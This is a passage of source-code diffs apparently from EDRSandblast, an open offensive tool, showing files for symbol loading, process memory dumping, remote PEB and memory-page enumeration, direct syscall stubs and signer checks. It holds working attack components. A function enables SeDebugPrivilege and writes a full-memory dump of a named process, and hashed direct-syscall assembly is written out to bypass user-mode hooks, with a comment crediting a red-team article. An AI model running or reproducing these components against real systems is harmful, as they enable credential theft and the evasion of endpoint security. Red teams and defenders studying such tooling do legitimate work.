BOOL DownloadOriginalFileFromPE(PE* image_pe, _In_opt_ LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
DWORD image_size = image_pe->optHeader->SizeOfImage;
//useless check
if (image_size & 0xFFF) {
image_size &= ~0xFFF;
image_size += 0x1000;
}
DWORD image_timestamp = image_pe->ntHeader->FileHeader.TimeDateStamp;
WCHAR image_name_w[MAX_PATH] = { 0 };
if (image_name == NULL) {
if (image_pe->exportDirectory != NULL) {
LPCSTR image_name_a = (LPCSTR)PE_RVA_to_Addr(image_pe, image_pe->exportDirectory->Name);
MultiByteToWideChar(CP_UTF8, 0, image_name_a, -1, image_name_w, _countof(image_name_w));
image_name = image_name_w;
}
else {
return FALSE;
}
}
return DownloadOriginalFileW(image_timestamp, image_size, image_name, file, file_size);
}
symbol_ctx* LoadSymbolsFromPE(PE* pe) {
symbol_ctx* ctx = calloc(1, sizeof(symbol_ctx));
if (ctx == NULL) {
return NULL;
}
int size_needed = MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, NULL, 0);
ctx->pdb_name_w = calloc(size_needed, sizeof(WCHAR));
MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, ctx->pdb_name_w, size_needed);
if (!FileExistsW(ctx->pdb_name_w)) {
PBYTE file;
SIZE_T file_size;
BOOL res = DownloadPDBFromPE(pe, &file, &file_size);
if (!res) {
free(ctx);
return NULL;
}
WriteFullFileW(ctx->pdb_name_w, file, file_size);
free(file);
}
DWORD64 asked_pdb_base_addr = 0x1337000;
DWORD pdb_image_size = MAXDWORD;
HANDLE cp = GetCurrentProcess();
if (!SymInitialize(cp, NULL, FALSE)) {
free(ctx);
return NULL;
}
ctx->sym_handle = cp;
DWORD64 pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
while (pdb_base_addr == 0) {
DWORD err = GetLastError();
if (err == ERROR_SUCCESS)
break;
if (err == ERROR_FILE_NOT_FOUND) {
printf_or_not("PDB file not found\n");
SymUnloadModule(cp, asked_pdb_base_addr);//TODO : fix handle leak
SymCleanup(cp);
free(ctx);
return NULL;
}
printf_or_not("SymLoadModuleExW, error 0x%x\n", GetLastError());
asked_pdb_base_addr += 0x1000000;
pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
}
ctx->pdb_base_addr = pdb_base_addr;
return ctx;
}
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) {
PVOID image_content = ReadFullFileW(image_file_path);
PE* pe = PE_create(image_content, FALSE);
symbol_ctx* ctx = LoadSymbolsFromPE(pe);
PE_destroy(pe);
free(image_content);
return ctx;
}
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) {
SYMBOL_INFO_PACKAGE si = { 0 };
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
si.si.MaxNameLen = sizeof(si.name);
SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
return si.si.Address - ctx->pdb_base_addr;
}
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) {
SYMBOL_INFO_PACKAGE si = {0};
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
si.si.MaxNameLen = sizeof(si.name);
BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, struct_name, &si.si);
if (!res) {
return 0;
}
TI_FINDCHILDREN_PARAMS* childrenParam = calloc(1, sizeof(TI_FINDCHILDREN_PARAMS));
if (childrenParam == NULL) {
return 0;
}
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_GET_CHILDRENCOUNT, &childrenParam->Count);
if (!res){
return 0;
}
TI_FINDCHILDREN_PARAMS* ptr = realloc(childrenParam, sizeof(TI_FINDCHILDREN_PARAMS) + childrenParam->Count * sizeof(ULONG));
if (ptr == NULL) {
free(childrenParam);
return 0;
}
childrenParam = ptr;
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_FINDCHILDREN, childrenParam);
DWORD offset = 0;
for (ULONG i = 0; i < childrenParam->Count; i++) {
ULONG childID = childrenParam->ChildId[i];
WCHAR* name = NULL;
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_SYMNAME, &name);
if (wcscmp(field_name, name)) {
continue;
}
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_OFFSET, &offset);
break;
}
free(childrenParam);
return offset;
}
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb) {
SymUnloadModule(ctx->sym_handle, ctx->pdb_base_addr);
SymCleanup(ctx->sym_handle);
if (delete_pdb) {
DeleteFileW(ctx->pdb_name_w);
}
free(ctx->pdb_name_w);
ctx->pdb_name_w = NULL;
free(ctx);
}
+102
View File
@@ -0,0 +1,102 @@
/*
--- Process dump functions.
*/
#include <Windows.h>
#include <TlHelp32.h>
#include <minidumpapiset.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "PEParser.h"
#include "ProcessDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
TOKEN_PRIVILEGES tp = { 0 };
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32 = { 0 };
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"), processName);
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
//HANDLE hDbghelp = LoadLibrary(TEXT("dbgcore.dll"));
//PE* dbghelpPe = PE_create(hDbghelp, TRUE);
//_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump");
_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump");
// Now walk the snapshot of processes, and look for the specified process.
do {
if (_tcscmp(pe32.szExeFile, processName)) {
continue;
}
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't open process memory (OpenProcesswith error 0x%x)\n"), processName, GetLastError());
return 1;
}
HANDLE hDumpFile = CreateFile(outputDumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't create dump file (CreateFile)\n"), processName);
return 1;
}
BOOL dumped = MiniDumpWriteDumpFunc(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't dump process (MiniDumpWriteDump with error 0x%x)\n"), processName, GetLastError());
return 1;
}
_tprintf_or_not(TEXT("[+] %s sucessfully dumped to: %s\n"), processName, outputDumpFile);
CloseHandle(hProcess);
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
DWORD WINAPI dumpProcessFromThread(PVOID* args) {
return dumpProcess(args[0], args[1]);
}
+211
View File
@@ -0,0 +1,211 @@
#include "RemotePEBBrowser.h"
#include "SW2_Syscalls.h"
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA) {
return (PVOID)(baseAddress + RVA);
}
// Return a pointer to the target process (PEB) Ldr's InMemoryOrderModuleList.
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess) {
// Get target process PEB address.
PROCESS_BASIC_INFORMATION basicInfo = { 0 };
basicInfo.PebBaseAddress = 0;
PROCESSINFOCLASS ProcessInformationClass = 0;
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process PEB address\n"));
return NULL;
}
#if _WIN64
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB64, Ldr));
#else
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB, Ldr));
#endif
PPEB_LDR_DATA pprocessLdr = NULL;
status = NtReadVirtualMemory(hProcess, pPebLdrAddress, &pprocessLdr, sizeof(PPEB_LDR_DATA), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process Ldr address (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// As PLDR_DATA_TABLE_ENTRY starts with InLoadOrderLinks while PEB_LDR_DATA's InLoadOrderModuleList is at offset 0x0C.
return (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pprocessLdr) + offsetof(PEB_LDR_DATA, InLoadOrderModuleList));
}
PMODULE_INFO createModuleInfo(HANDLE hProcess, PLDR_DATA_TABLE_ENTRY ldrEntry) {
PMODULE_INFO newModuleInfo = calloc(1, sizeof(MODULE_INFO));
if (!newModuleInfo) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't allocate new module info\n"));
return NULL;
}
newModuleInfo->next = NULL;
newModuleInfo->dllBase = (ULONG64)(ULONG_PTR) ldrEntry->DllBase;
newModuleInfo->ImageSize = ldrEntry->SizeOfImage;
newModuleInfo->timeDateStamp = ldrEntry->TimeDateStampOrLoadedImports.TimeDateStamp;
newModuleInfo->checkSum = ldrEntry->HashLinksOrSectionPointerAndCheckSum.SectionPointerAndCheckSum.CheckSum;
// read the full path of the DLL
NTSTATUS status = NtReadVirtualMemory(hProcess, (PVOID) ldrEntry->FullDllName.Buffer, newModuleInfo->dllName, ldrEntry->FullDllName.Length, NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't retrieve dllName from Ldr entry (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
return newModuleInfo;
}
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess) {
PMODULE_INFO pmoduleList = NULL;
NTSTATUS status = FALSE;
// Retrieve the remote process Ldr address as pseudo PLDR_DATA_TABLE_ENTRY.
PLDR_DATA_TABLE_ENTRY pLdrAddressInPeb = getPebLdrAddress(hProcess);
if (!pLdrAddressInPeb) {
return NULL;
}
// Iterate over the linked list by InMemoryOrderModuleList order.
LDR_DATA_TABLE_ENTRY LdrCurrentEntry;
PLDR_DATA_TABLE_ENTRY pLdrCurrentEntryAddress = pLdrAddressInPeb;
while (TRUE) {
// Add InMemoryOrderLinks offset to iterate on InMemoryOrderLinks order (by retrieving the ptr at InMemoryOrderLinks).
status = NtReadVirtualMemory(hProcess, ((PBYTE) pLdrCurrentEntryAddress) + offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &pLdrCurrentEntryAddress, sizeof(PLDR_DATA_TABLE_ENTRY), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList first element address (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// Substract InMemoryOrderLinks offset to be at the top of the LDR_DATA_TABLE_ENTRY struct.
pLdrCurrentEntryAddress = (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pLdrCurrentEntryAddress) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
// Looped back to the first entry.
if (pLdrAddressInPeb == pLdrCurrentEntryAddress) {
break;
}
// Read LDR_DATA_TABLE_ENTRY data for the current element.
status = NtReadVirtualMemory(hProcess, pLdrCurrentEntryAddress, &LdrCurrentEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList next element (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// Create module info for list using the current LDR_DATA_TABLE_ENTRY entry.
PMODULE_INFO pnewModuleInfo = createModuleInfo(hProcess, &LdrCurrentEntry);
if (!pnewModuleInfo) {
return NULL;
}
// Insert the new module info element to the module list.
if (!pmoduleList) {
pmoduleList = pnewModuleInfo;
}
else {
PMODULE_INFO plastModule = pmoduleList;
while (plastModule->next) {
plastModule = plastModule->next;
}
plastModule->next = pnewModuleInfo;
}
}
return pmoduleList;
}
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage) {
PMEMORY_PAGE_INFO prangesList = NULL;
PMEMORY_PAGE_INFO newRange = NULL;
PVOID baseAddress = NULL;
PVOID currentAddress = NULL;
ULONG64 regionSize = 0;
MEMORY_INFORMATION_CLASS memoryInfoClass = { 0 };
MEMORY_BASIC_INFORMATION memoryBasicInfo = { 0 };
NTSTATUS status = STATUS_UNSUCCESSFUL;
while (TRUE) {
status = NtQueryVirtualMemory(hProcess, (PVOID)currentAddress, memoryInfoClass, &memoryBasicInfo, sizeof(memoryBasicInfo), NULL);
// The specified base address is outside the range of accessible addresses, iteration is finished.
if (status == STATUS_INVALID_PARAMETER) {
break;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't query memory page (NtQueryVirtualMemory error 0x%x).\n"), status);
return NULL;
}
baseAddress = memoryBasicInfo.BaseAddress;
regionSize = memoryBasicInfo.RegionSize;
// Overflow.
if (((ULONG_PTR) baseAddress + regionSize) < (ULONG_PTR) baseAddress) {
break;
}
// Next memory range.
currentAddress = (PVOID) GetRVA((ULONG_PTR) baseAddress, (ULONG_PTR) regionSize);
if (filterPage) {
// Ignore non-commited pages.
if (memoryBasicInfo.State != MEM_COMMIT) {
continue;
}
// Ignore mapped pages.
if (memoryBasicInfo.Type == MEM_MAPPED) {
continue;
}
// Ignore pages with PAGE_NOACCESS. {
if ((memoryBasicInfo.Protect & PAGE_NOACCESS) == PAGE_NOACCESS) {
continue;
}
// Ignore pages with PAGE_GUARD.
if ((memoryBasicInfo.Protect & PAGE_GUARD) == PAGE_GUARD) {
continue;
}
// Ignore pages with PAGE_EXECUTE. {
if ((memoryBasicInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) {
continue;
}
}
newRange = calloc(1, sizeof(MEMORY_PAGE_INFO));
if (!newRange) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't allocate memory for new MEMORY_RANGE_INFO"));
return NULL;
}
newRange->next = NULL;
newRange->startOfMemoryPage = (ULONG_PTR)baseAddress;
newRange->dataSize = regionSize;
newRange->state = memoryBasicInfo.State;
newRange->protect = memoryBasicInfo.Protect;
newRange->type = memoryBasicInfo.Type;
if (!prangesList) {
prangesList = newRange;
}
else {
PMEMORY_PAGE_INFO lastRange = prangesList;
while (lastRange->next) {
lastRange = lastRange->next;
}
lastRange->next = newRange;
}
}
if (!prangesList) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't retrieve any page"));
return NULL;
}
return prangesList;
}
+106
View File
@@ -0,0 +1,106 @@
#include "PEBBrowse.h"
#include "PEParser.h"
#include "SW2_Syscalls.h"
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW2_SYSCALL_LIST SW2_SyscallList;
DWORD SW2_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW2_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
Hash ^= PartialName + SW2_ROR8(Hash);
}
return Hash;
}
int CmpSyscallEntriesByRVA(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
if (a->RVA < b->RVA) {
return -1;
}
else if (a->RVA > b->RVA) {
return +1;
}
else {
return 0;
}
}
int CmpSyscallEntriesByHash(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
if (a->Hash < b->Hash) {
return -1;
}
else if (a->Hash > b->Hash) {
return +1;
}
else {
return 0;
}
}
BOOL SW2_PopulateSyscallList(void)
{
// Return early if the list is already populated.
if (SW2_SyscallList.Count) return TRUE;
PE* ntdll = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE);
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]);
if (*(WORD*)functionName == *((WORD*)"Zw")) {
Entries[i].Hash = SW2_HashSyscall(functionName);
Entries[i].RVA = PE_functionRVA(ntdll, functionName);
i++;
}
}
// Save total number of system calls found.
SW2_SyscallList.Count = i;
// Sort the list by address in ascending order.
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByRVA);
// Deduce the syscall numbers.
for (DWORD j = 0; j < SW2_SyscallList.Count; j++) {
SW2_SyscallList.Entries[j].SyscallNumber = j;
}
// Sort the list by hash for quicker search.
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByHash);
return TRUE;
}
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW2_SyscallList is populated.
if (!SW2_PopulateSyscallList()) return 0xFFFFFFFF;
DWORD down = 0;
DWORD up = SW2_SyscallList.Count;
while (up - down > 1) {
DWORD mid = (down + up) / 2;
if (SW2_SyscallList.Entries[mid].Hash <= FunctionHash) {
down = mid;
}
else {
up = mid;
}
}
if (SW2_SyscallList.Entries[down].Hash == FunctionHash) {
return SW2_SyscallList.Entries[down].SyscallNumber;
}
else {
return 0xFFFFFFFF;
}
}
@@ -0,0 +1,71 @@
.data
currentHash DWORD 0
.code
EXTERN SW2_GetSyscallNumber: PROC
WhisperMain PROC
pop rax
mov [rsp+ 8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, currentHash
call SW2_GetSyscallNumber
add rsp, 28h
mov rcx, [rsp+ 8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Issue syscall
ret
WhisperMain ENDP
NtGetNextProcess PROC
mov currentHash, 0CD50C4CCh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtGetNextProcess ENDP
NtQueryInformationProcess PROC
mov currentHash, 055A17810h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtQueryInformationProcess ENDP
NtClose PROC
mov currentHash, 054DEA057h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtClose ENDP
NtAllocateVirtualMemory PROC
mov currentHash, 08708BDBBh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtAllocateVirtualMemory ENDP
NtOpenProcess PROC
mov currentHash, 0FDBCE430h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtOpenProcess ENDP
NtQueryVirtualMemory PROC
mov currentHash, 083906983h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtQueryVirtualMemory ENDP
NtReadVirtualMemory PROC
mov currentHash, 0309A0DDEh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtReadVirtualMemory ENDP
NtCreateFile PROC
mov currentHash, 086A15898h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtCreateFile ENDP
NtWriteFile PROC
mov currentHash, 0B224DCF0h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtWriteFile ENDP
end
+204
View File
@@ -0,0 +1,204 @@
#include "SignatureOps.h"
#include "../EDRSandblast.h"
// Concat in pSigners output the list of Signer(s) signing the specified file on disk.
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners) {
HCERTSTORE hCertStore = NULL;
HCRYPTMSG hCryptMsg = NULL;
DWORD dwCountSigners = 0;
DWORD dwcbSz = sizeof(DWORD), dwcbSzPrevious = sizeof(DWORD);
PCMSG_SIGNER_INFO pSignerInfo = NULL;
CERT_INFO certificateInfo = { 0 };
PCCERT_CONTEXT pCertContext = NULL;
TCHAR* tmpSignerName = NULL;
TCHAR* pSigners = NULL;
TCHAR* tmpSignerHolder = NULL;
size_t sztmpSignerHolder = 0;
TCHAR signerSeperator[] = TEXT(" | ");
DWORD dwError = 0;
BOOL returnStatus = 0;
returnStatus = CryptQueryObject(CERT_QUERY_OBJECT_FILE,
pFilePath,
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
CERT_QUERY_FORMAT_FLAG_BINARY,
0,
NULL,
NULL,
NULL,
&hCertStore,
&hCryptMsg,
NULL);
if (!returnStatus) {
dwError = GetLastError();
// File is not signed.
if (dwError == CRYPT_E_NO_MATCH) {
return E_NOT_SIGNED;
}
else {
_tprintf_or_not(TEXT("[!] Couldn't retrieve certificate objects of file \"%s\" (CryptQueryObject(CERT_QUERY_OBJECT_FILE) failed: 0x%08lx)\n"), pFilePath, GetLastError());
return E_KO;
}
}
// Check that the file has at least one Signer.
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_COUNT_PARAM, 0, &dwCountSigners, &dwcbSz);
if (!returnStatus) {
_tprintf_or_not(TEXT("[!] Couldn't get number of signers of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_COUNT_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
if (dwCountSigners == 0) {
_tprintf_or_not(TEXT("[-] \"%s\" file is not digitally signed by at least one signer\n"), pFilePath);
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
return E_NOT_SIGNED;
}
// Get Signer name of each certificates and concat to Signers string.
for (DWORD index = 0; index < dwCountSigners; index++) {
// index = 0;
dwcbSz = 0;
if (pSignerInfo) {
free(pSignerInfo);
pSignerInfo = NULL;
}
if (tmpSignerName) {
free(tmpSignerName);
tmpSignerName = NULL;
}
if (pCertContext) {
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
}
// Retrieve the CMSG_SIGNER_INFO_PARAM that contains the information to build CERT_INFO (Issuer and SerialNumber).
// First call CryptMsgGetParam to retrieve the size neeeded for the buffer.
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, NULL, &dwcbSz);
if (!returnStatus || !dwcbSz) {
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) for size failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Allocate the size needed by CryptMsgGetParam to retrieve CMSG_SIGNER_INFO_PARAM.
pSignerInfo = (PCMSG_SIGNER_INFO)calloc(dwcbSz, sizeof(BYTE));
if (!pSignerInfo) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for PCMSG_SIGNER_INFO"));
goto cleanup;
}
// Retrieve the CMSG_SIGNER_INFO_PARAM of the certificate and validate the return.
dwcbSzPrevious = dwcbSz;
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, pSignerInfo, &dwcbSz);
if (!returnStatus || (dwcbSzPrevious != dwcbSz)) {
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Build CERT_INFO for certificate lookup using CertFindCertificateInStore.
memset(&certificateInfo, 0, sizeof(CERT_INFO));
certificateInfo.Issuer = pSignerInfo->Issuer;
certificateInfo.SerialNumber = pSignerInfo->SerialNumber;
// Certificate lookup matching the Issuer and SerialNumber in hCertStore.
pCertContext = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, &certificateInfo, NULL);
if (!pCertContext) {
_tprintf_or_not(TEXT("[!] Couldn't find certificate of file \"%s\" in store (CertFindCertificateInStore failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Retrieves the subject name. First call is done to determine the subject name size.
dwcbSz = CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, NULL, 0);
tmpSignerName = calloc(dwcbSz, sizeof(TCHAR));
if (!tmpSignerName) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for decoded certificate Subject name."));
goto cleanup;
}
CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, tmpSignerName, dwcbSz);
if (!tmpSignerName) {
_tprintf_or_not(TEXT("[!] Couldn't retrieve decoded Subject name of certificate of file \"%s\" (CertNameToStr failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Concat the subject to the already found ones, if any.
if (pSigners) {
sztmpSignerHolder = _tcsclen(pSigners) + _tcsclen(signerSeperator) + _tcsclen(tmpSignerName) + 1;
tmpSignerHolder = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
if (!tmpSignerHolder) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for concatenated signers"));
goto cleanup;
}
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, pSigners);
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, signerSeperator);
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, tmpSignerName);
free(pSigners);
pSigners = tmpSignerHolder;
break;
}
else {
sztmpSignerHolder = _tcsclen(tmpSignerName) + 1;
pSigners = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
if (!pSigners) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for first signer"));
goto cleanup;
}
_tcscpy_s(pSigners, sztmpSignerHolder, tmpSignerName);
}
}
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
free(pSignerInfo);
pSignerInfo = NULL;
free(tmpSignerName);
tmpSignerName = NULL;
if (!outSigners || (*szOutSigners < sztmpSignerHolder)) {
*szOutSigners = sztmpSignerHolder;
free(pSigners);
return E_INSUFFICIENT_BUFFER;
}
else {
*szOutSigners = sztmpSignerHolder;
_tcscat_s(outSigners, sztmpSignerHolder, pSigners);
free(pSigners);
return E_SUCCESS;
}
cleanup:
if (pCertContext) {
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
}
if (hCryptMsg) {
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
}
if (hCertStore) {
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
}
if (pSignerInfo) {
free(pSignerInfo);
pSignerInfo = NULL;
}
if (tmpSignerName) {
free(tmpSignerName);
tmpSignerName = NULL;
}
return E_KO;
}
+71
View File
@@ -0,0 +1,71 @@
/*
--- Utility function to generate a random string.
*/
#include "StringUtils.h"
//BOOL isFullPath(IN TCHAR* filename) {
// char c;
//
// if (filename[0] == filename[1] && filename[1] == TEXT('\\')) {
// return TRUE;
// }
//
// c = filename[0] | 0x20;
// if (c < 97 || c > 122) {
// return FALSE;
// }
//
// c = filename[1];
// if (c != ':') {
// return FALSE;
// }
//
// c = filename[2];
// if (c != '\\') {
// return FALSE;
// }
//
// return TRUE;
//}
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* wcharString) {
unicodeString->Buffer = wcharString;
unicodeString->Length = (WORD)_tcslen(unicodeString->Buffer) * sizeof(WCHAR);
unicodeString->MaximumLength = unicodeString->Length + sizeof(WCHAR);
}
BOOL srandDone = FALSE;
/*
* Generates a "length"-long random alphanumeric string
